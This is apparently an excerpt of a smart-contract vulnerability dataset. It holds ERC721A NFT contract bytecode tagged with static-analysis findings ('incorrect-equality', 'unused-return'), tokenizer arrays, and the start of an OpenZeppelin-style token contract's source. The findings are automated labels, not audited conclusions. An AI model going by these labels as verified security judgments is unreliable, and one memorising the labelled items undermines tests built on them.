661056b366004612414565b611080565b34801561057c57600080fd5b506102d661112c565b34801561059157600080fd5b5061031a6105a0366004612253565b61116b565b3480156105b157600080fd5b506000546001600160a01b031661031a565b3480156105cf57600080fd5b506011546102b39060ff1681565b3480156105e957600080fd5b506105fd6105f8366004612253565b611195565b6040805182516001600160a01b0316815260209283015167ffffffffffffffff16928101929092520161028a565b34801561063757600080fd5b506102ed6111b2565b34801561064c57600080fd5b506102d661065b36600461242f565b6111c1565b34801561066c57600080fd5b506102d661067b366004612414565b611286565b34801561068c57600080fd5b506102d661069b36600461246b565b6112f7565b3480156106ac57600080fd5b50600a5461031a906001600160a01b031681565b3480156106cc57600080fd5b506102ed6106db366004612253565b611330565b3480156106ec57600080fd5b5061028061138e565b34801561070157600080fd5b506102ed6113a7565b34801561071657600080fd5b506102ed611435565b34801561072b57600080fd5b5061028060095481565b34801561074157600080fd5b506102d6611444565b34801561075657600080fd5b506102ed61149e565b34801561076b57600080fd5b506102b361077a36600461252b565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205460ff1690565b3480156107b457600080fd5b506102d66107c3366004612414565b6114be565b60006107d76001546000190190565b905090565b60006001600160e01b031982166380ac58cd60e01b148061080d57506001600160e01b03198216635b5e139f60e01b145b8061082857506001600160e01b0319821663780e9d6360e01b145b8061084357506301ffc9a760e01b6001600160e01b03198316145b92915050565b600181101561089f5760405162461bcd60e51b815260206004820152601a60248201527f4d757374206d696e74206174206c65617374203120746f6b656e00000000000060448201526064015b60405180910390fd5b6002548111156109085760405162461bcd60e51b815260206004820152602e60248201527f43616e6e6f74206d696e74206d6f7265207468616e206d6178206d696e74207060448201526d32b9103a3930b739b0b1ba34b7b760911b6064820152608401610896565b60115460ff16151560011461095f5760405162461bcd60e51b815260206004820152601e60248201527f4d696e74696e67206973206e6f74206f70656e207269676874206e6f772100006044820152606401610896565b7f00000000000000000000000000000000000000000000000000000000000001c6816109896107c8565b6109939190612574565b11156109b15760405162461bcd60e51b81526004016108969061258c565b6109bb8282611556565b5050565b6060600380546109ce906125ce565b80601f01602080910402602001604051908101604052809291908181526020018280546109fa906125ce565b8015610a475780601f10610a1c57610100808354040283529160200191610a47565b820191906000526020600020905b815481529060010190602001808311610a2a57829003601f168201915b5050505050905090565b6000610a5c82611570565b610abe5760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b6064820152608401610896565b506000908152600760205260409020546001600160a01b031690565b6000610ae582610f6e565b9050806001600160a01b0316836001600160a01b03161415610b545760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b6064820152608401610896565b336001600160a01b0382161480610b705750610b70813361077a565b610be25760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c000000000000006064820152608401610896565b610bed838383611586565b505050565b610bed8383836115e2565b600c8181548110610c0d57600080fd5b600091825260209091200154905081565b6000610c2983610fb9565b8210610c825760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b6064820152608401610896565b6000610c8c6107c8565b905060008060005b83811015610d36576000818152600560209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215610ce757805192505b876001600160a01b0316836001600160a01b03161415610d235786841415610d155750935061084392505050565b83610d1f81612609565b9450505b5080610d2e81612609565b915050610c94565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201526d0deeedccae440c4f240d2dcc8caf60931b6064820152608401610896565b6000546001600160a01b03163314610dc05760405162461bcd60e51b815260040161089690612624565b6011805460ff19169055565b610bed838383604051806020016040528060008152506112f7565b6000546001600160a01b03163314610e115760405162461bcd60e51b815260040161089690612624565b60005b81811015610bed57610e3e838281518110610e3157610e31612659565b6020026020010151611286565b80610e4881612609565b915050610e14565b6000610e5a6107c8565b8210610eb45760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b6064820152608401610896565b5090565b6000546001600160a01b03163314610ee25760405162461bcd60e51b815260040161089690612624565b6001811015610f335760405162461bcd60e51b815260206004820152601b60248201527f4d6178206d696e74206d757374206265206174206c65617374203100000000006044820152606401610896565b600255565b6000546001600160a01b03163314610f625760405162461bcd60e51b815260040161089690612624565b610bed601083836120df565b6000610f7982611968565b5192915050565b6000546001600160a01b03163314610faa5760405162461bcd60e51b815260040161089690612624565b6011805460ff19166001179055565b60006001600160a01b0382166110255760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b6064820152608401610896565b506001600160a01b03166000908152600660205260409020546001600160801b031690565b6000546001600160a01b031633146110745760405162461bcd60e51b815260040161089690612624565b61107e6000611a98565b565b7f00000000000000000000000000000000000000000000000000000000000001c66110a961138e565b11156110c75760405162461bcd60e51b81526004016108969061258c565b60115460ff16151560011461111e5760405162461bcd60e51b815260206004820152601e60248201527f4d696e74696e67206973206e6f74206f70656e207269676874206e6f772100006044820152606401610896565b611129816001611556565b50565b6000546001600160a01b031633146111565760405162461bcd60e51b815260040161089690612624565b6000471161116357600080fd5b61107e611ae8565b600b818154811061117b57600080fd5b6000918252602090912001546001600160a01b0316905081565b604080518082019091526000808252602082015261084382611968565b6060600480546109ce906125ce565b6001600160a01b03821633141561121a5760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c65720000000000006044820152606401610896565b3360008181526008602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6000546001600160a01b031633146112b05760405162461bcd60e51b815260040161089690612624565b7f00000000000000000000000000000000000000000000000000000000000001c66112d961138e565b111561111e5760405162461bcd60e51b81526004016108969061258c565b6113028484846115e2565b61130e84848484611b76565b61132a5760405162461bcd60e51b81526004016108969061266f565b50505050565b6060600061133c611435565b9050600081511161135c5760405180602001604052806000815250611387565b8061136684611c84565b6040516020016113779291906126c2565b6040516020818303038152906040525b9392505050565b60006107d76113a06001546000190190565b6001611d82565b601080546113b4906125ce565b80601f01602080910402602001604051908101604052809291908181526020018280546113e0906125ce565b801561142d5780601f106114025761010080835404028352916020019161142d565b820191906000526020600020905b81548152906001019060200180831161141057829003601f168201915b505050505081565b6060601080546109ce906125ce565b600a546001600160a01b031633146111565760405162461bcd60e51b815260206004820152601c60248201527f4f776e61626c653a2063616c6c6572206973206e6f742052414d5050000000006044820152606401610896565b60606040518060800160405280605b815260200161280a605b9139905090565b6000546001600160a01b031633146114e85760405162461bcd60e51b815260040161089690612624565b6001600160a01b03811661154d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610896565b61112981611a98565b6109bb828260405180602001604052806000815250611d8e565b6000816001111580156108435750506001541190565b60008281526007602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60006115ed82611968565b80519091506000906001600160a01b0316336001600160a01b0316148061162457503361161984610a51565b6001600160a01b0316145b8061163657508151611636903361077a565b9050806116a05760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b6064820152608401610896565b846001600160a01b031682600001516001600160a01b0316146117145760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b6064820152608401610896565b6001600160a01b0384166117785760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b6064820152608401610896565b6117886000848460000151611586565b6001600160a01b03851660009081526006602052604081208054600192906117ba9084906001600160801b03166126f1565b82546101009290920a6001600160801b038181021990931691831602179091556001600160a01b0386166000908152600660205260408120805460019450909261180691859116612719565b82546001600160801b039182166101009390930a9283029190920219909116179055506040805180820182526001600160a01b03808716825267ffffffffffffffff428116602080850191825260008981526005909152948520935184549151909216600160a01b026001600160e01b0319909116919092161717905561188e846001612574565b6000818152600560205260409020549091506001600160a01b031661191e576118b681611570565b1561191e5760408051808201825284516001600160a01b03908116825260208087015167ffffffffffffffff9081168285019081526000878152600590935294909120925183549451909116600160a01b026001600160e01b03199094169116179190911790555b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b505050505050565b6040805180820190915260008082526020820152818060011115801561198f575060015481105b15611a38576000818152600560209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff1691830191909152156119e1579392505050565b50600019016000818152600560209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215611a33579392505050565b6119e1565b60405162461bcd60e51b815260206004820152602f60248201527f455243373231413a20756e61626c6520746f2064657465726d696e652074686560448201526e1037bbb732b91037b3103a37b5b2b760891b6064820152608401610896565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b4760005b600d548110156109bb57611b64600b8281548110611b0c57611b0c612659565b9060005260206000200160009054906101000a90046001600160a01b03166064600c8481548110611b3f57611b3f612659565b906000526020600020015485611b55919061273b565b611b5f9190612770565b612049565b80611b6e81612609565b915050611aec565b60006001600160a01b0384163b15611c7857604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611bba903390899088908890600401612784565b602060405180830381600087803b158015611bd457600080fd5b505af1925050508015611c04575060408051601f3d908101601f19168201909252611c01918101906127c1565b60015b611c5e573d808015611c32576040519150601f19603f3d011682016040523d82523d6000602084013e611c37565b606091505b508051611c565760405162461bcd60e51b81526004016108969061266f565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611c7c565b5060015b949350505050565b606081611ca85750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611cd25780611cbc81612609565b9150611ccb9050600a83612770565b9150611cac565b60008167ffffffffffffffff811115611ced57611ced6122a8565b6040519080825280601f01601f191660200182016040528015611d17576020820181803683370190505b5090505b8415611c7c57611d2c6001836127de565b9150611d39600a866127f5565b611d44906030612574565b60f81b818381518110611d5957611d59612659565b60200101906001600160f81b031916908160001a905350611d7b600a86612770565b9450611d1b565b60006113878284612574565b6001546001600160a01b038416611df15760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610896565b611dfa81611570565b15611e475760405162461bcd60e51b815260206004820152601d60248201527f455243373231413a20746f6b656e20616c7265616479206d696e7465640000006044820152606401610896565b600254831115611ea45760405162461bcd60e51b815260206004820152602260248201527f455243373231413a207175616e7469747920746f206d696e7420746f6f2068696044820152610ced60f31b6064820152608401610896565b6001600160a01b0384166000908152600660209081526040918290208251808401845290546001600160801b038082168352600160801b9091041691810191909152815180830190925280519091908190611f00908790612719565b6001600160801b03168152602001858360200151611f1e9190612719565b6001600160801b039081169091526001600160a01b0380881660008181526006602090815260408083208751978301518716600160801b0297909616969096179094558451808601865291825267ffffffffffffffff4281168386019081528883526005909552948120915182549451909516600160a01b026001600160e01b031990941694909216939093179190911790915582905b8581101561203e5760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46120026000888488611b76565b61201e5760405162461bcd60e51b81526004016108969061266f565b8161202881612609565b925050808061203690612609565b915050611fb5565b506001819055611960565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612096576040519150601f19603f3d011682016040523d82523d6000602084013e61209b565b606091505b5050905080610bed5760405162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b6044820152606401610896565b8280546120eb906125ce565b90600052602060002090601f01602090048101928261210d5760008555612153565b82601f106121265782800160ff19823516178555612153565b82800160010185558215612153579182015b82811115612153578235825591602001919060010190612138565b50610eb49291505b80821115610eb4576000815560010161215b565b6001600160e01b03198116811461112957600080fd5b60006020828403121561219757600080fd5b81356113878161216f565b80356001600160a01b03811681146121b957600080fd5b919050565b600080604083850312156121d157600080fd5b6121da836121a2565b946020939093013593505050565b60005b838110156122035781810151838201526020016121eb565b8381111561132a5750506000910152565b6000815180845261222c8160208601602086016121e8565b601f01601f19169290920160200192915050565b6020815260006113876020830184612214565b60006020828403121561226557600080fd5b5035919050565b60008060006060848603121561228157600080fd5b61228a846121a2565b9250612298602085016121a2565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156122e7576122e76122a8565b604052919050565b6000806040838503121561230257600080fd5b823567ffffffffffffffff8082111561231a57600080fd5b818501915085601f83011261232e57600080fd5b8135602082821115612342576123426122a8565b8160051b92506123538184016122be565b828152928401810192818101908985111561236d57600080fd5b948201945b8486101561239257612383866121a2565b82529482019490820190612372565b9997909101359750505050505050565b600080602083850312156123b557600080fd5b823567ffffffffffffffff808211156123cd57600080fd5b818501915085601f8301126123e157600080fd5b8135818111156123f057600080fd5b86602082850101111561240257600080fd5b60209290920196919550909350505050565b60006020828403121561242657600080fd5b611387826121a2565b6000806040838503121561244257600080fd5b61244b836121a2565b91506020830135801515811461246057600080fd5b809150509250929050565b6000806000806080858703121561248157600080fd5b61248a856121a2565b935060206124998187016121a2565b935060408601359250606086013567ffffffffffffffff808211156124bd57600080fd5b818801915088601f8301126124d157600080fd5b8135818111156124e3576124e36122a8565b6124f5601f8201601f191685016122be565b9150808252898482850101111561250b57600080fd5b808484018584013760008482840101525080935050505092959194509250565b6000806040838503121561253e57600080fd5b612547836121a2565b9150612555602084016121a2565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600082198211156125875761258761255e565b500190565b60208082526022908201527f43616e6e6f74206d696e74206f76657220737570706c7920636170206f6620346040820152610d4d60f21b606082015260800190565b600181811c908216806125e257607f821691505b6020821081141561260357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561261d5761261d61255e565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60208082526033908201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260408201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606082015260800190565b600083516126d48184602088016121e8565b8351908301906126e88183602088016121e8565b01949350505050565b60006001600160801b03838116908316818110156127115761271161255e565b039392505050565b60006001600160801b038083168185168083038211156126e8576126e861255e565b60008160001904831182151516156127555761275561255e565b500290565b634e487b7160e01b600052601260045260246000fd5b60008261277f5761277f61275a565b500490565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906127b790830184612214565b9695505050505050565b6000602082840312156127d357600080fd5b81516113878161216f565b6000828210156127f0576127f061255e565b500390565b6000826128045761280461275a565b50069056fe68747470733a2f2f75732d63656e7472616c312d6e66742d72616d70702e636c6f756466756e6374696f6e732e6e65742f6170702f59467973654244436662344853556974654633572f636f6e74726163742d6d65746164617461a2646970667358221220fb720fdd0bf8e532eb58d56162e573ee797906a2bc35a0035b4827aefc85b1e264736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2063,
16068,
17465,
2575,
3401,
2549,
27717,
2497,
16048,
19841,
2278,
2475,
2063,
27531,
4246,
2692,
2497,
2575,
2620,
16932,
2575,
2094,
2629,
2094,
21084,
2063,
2509,
1013,
1013,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1013,
1013,
1013,
1013,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,457 | 0x952e72dbfa10c7de115dd8a82817c885633044c6 | /*
website: oracleswap.org
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
